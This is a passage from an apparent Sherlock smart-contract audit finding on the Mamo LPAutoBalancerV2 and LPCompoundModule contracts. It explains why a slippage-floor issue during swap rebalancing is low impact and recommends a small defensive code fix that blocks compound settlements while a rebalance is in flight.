The excess loss is tightly bounded, which keeps this low impact. The calm gate runs at both `unwindForSwap()` and `rebuildAfterSwap()`, so large tick manipulation of the valuations is blocked, and the rebalancer supplies withdraw minimums at unwind and mint minimums at rebuild, bounding what the teardown and re-mint legs can lose. What remains is the floor tolerating extra slippage up to the value of the compound proceeds that happen to land inside the window.

Code Snippet

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L633-L634>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L712-L714>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPCompoundModule.sol#L131-L149>

Tool Used

Manual Review

Recommendation

Refuse AERO-compound settlements while a swap rebalance is in flight, so loose value cannot change between the snapshot and the floor check:

```
function isValidSignature(bytes32 orderDigest, bytes calldata encodedOrder)
    ↪ external view returns (bytes4) {
+   require(!ILPAutoBalancerV2(balancer).rebalanceInFlight(), "compound blocked
    ↪ during rebalance");
       GPv2Order.Data memory o = abi.decode(encodedOrder, (GPv2Order.Data));
```

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.